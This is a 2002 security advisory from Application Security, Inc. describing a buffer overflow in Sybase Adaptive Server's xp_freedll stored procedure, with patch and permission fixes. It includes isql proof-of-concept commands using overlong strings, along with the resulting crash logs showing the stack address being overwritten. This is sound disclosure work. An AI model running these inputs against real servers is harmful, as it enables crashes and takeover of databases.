ASI Sybase Security Alert: Buffer overflow in xp_freedll
From: Aaron C. Newman (Application Security, Inc.) (anewman@APPSECINC.COM)
Date: 11/27/02
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Date: Wed, 27 Nov 2002 14:09:46 -0500 From: "Aaron C. Newman (Application Security, Inc.)" <anewman@APPSECINC.COM> To: NTBUGTRAQ@LISTSERV.NTBUGTRAQ.COM
Sybase Adaptive Server buffer overflow in xp_freedll extended stored
procedure
http://www.appsecinc.com/resources/alerts/sybase/02-0003.html
To determine if you should apply this hot fix, download AppDetective for
Sybase from http://www.sybasesecurity.net/products/appdetective/sybase/.
Risk level: High
Threat: Allows a non-privileged login to gain full control of the server
Versions Affected: Sybase Adaptive Server 12.0 and 12.5
Summary:
The extended stored procedure xp_freedll contains a buffer overflow that
may allow an attacker to overwrite the stack and execute arbitrary code
under the security context of the server. Execute permissions are
granted to public in the sybsystemprocs database on this extended stored
procedure.
Details:
Sybase Adaptive Server provides an extended stored procedure (ESP)
called xp_freedll in the database sybsystemprocs. This ESP is used to
release a DLL that has been loaded by another extended stored procedure.
Xp_freedll accepts a single parameter that is the name of the DLL to
free. Xp_freedll does not validate the length of the string passed into
the first parameter. It then attempts to copy an overly long string into
a small memory buffer. This memory copy results in the stack and the
stack pointer being overwritten with the buffer. Once the stack pointer
is overwritten, execution can be redirected to an arbitrary location in
memory and opcodes injected into the long string passed to the ESP can
be executed. This allows the attacker to run arbitrary code under the
security context of the extended stored procedure server.
Below is an example of overflowing the buffer using the SQL tool
isql.exe.
Memory corruption first occurs with a buffer of length 45.
1> xp_freedll 'XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX.dll'
2> GO
Msg 11496, Level 16, State 7:
Procedure 'xp_freedll', Line 2:
Cannot read from site 'MRFREEZE_XP'. Please check the XP Server error
log file for detailed error description. (return status = -6)
With a buffer of 53 bytes in length, an exception is thrown.
1> xp_freedll 'XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX.dll'
2> GO
Encountered an exception(0) in ESP xp_freedll in DLL sybsyesp. If this
is an
user DLL check the code else contact Sybase Technical Support.
(return status = 1)
The following entries are recorded into the event logs.
11403: Encountered an exception(0) in ESP xp_freedll in DLL sybsyesp.
If this is an user DLL check the code else contact Sybase Technical
Support.
11403: Encountered an exception(193) in ESP xp_freedll in DLL
sybsyesp. If this is an user DLL check the code else contact Sybase
Technical Support.
11403: Encountered an exception(997) in ESP xp_freedll in DLL
sybsyesp. If this is an user DLL check the code else contact Sybase
Technical Support.
At 54 bytes in length, the follow memory locations appear in the event
logs:
11451: MRFREEZE_XP: XP Server Error: 16142/10/1: Server process
address 0x696c6c not in pool in 'srv_senddone()' .
11451: MRFREEZE_XP: XP Server Error: 16142/10/1: Server process
address 0x696c6c not in pool in 'srv_sendinfo()' .
11451: MRFREEZE_XP: XP Server Error: 16142/10/1: Server process
address 0x696c6c not in pool in 'srv_sendstatus' .
At 55 bytes in length, the follow memory locations appear in the event
logs:
11451: MRFREEZE_XP: XP Server Error: 16142/10/1: Server process
address 0x642e5858 not in pool in 'srv_senddone()' .
Notice that the memory location has been modified to include 5858 which
is the X we used in the buffer overflow.
As we continue to increase the buffer size, we see that the address is
completely overwritten by the buffer.
11451: MRFREEZE_XP: XP Server Error: 16142/10/1: Server process
address 0x58585858 not in pool in 'srv_sendstatus' .
Fix:
Execute permissions on the extended stored procedure xp_freedll in the
sybsystemprocs database should be revoked from public.
You should also apply the following patches:
12.5.0.2 - 11/14/2002
12.0.0.6 ESD#1 - 11/5/2002
These patches can be downloaded from http://downloads.sybase.com/swd/swx
Thank you,
support@appsecinc.com
Application Security, Inc.
phone: 212-490-6022
fax: 212-490-6456
-Protection Where It Counts-
----------------------------------------------------------------------
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www.appsecinc.com
As pioneers in application security, we are an organization dedicated
to the security, defense, and protection of one of the most commonly
overlooked areas of security - the application layer. Application
Security, Inc. provides solutions to proactively secure (penetration
testing/vulnerability assessment), actively defend/monitor (intrusion
detection), and protect (encryption) your most critical applications.
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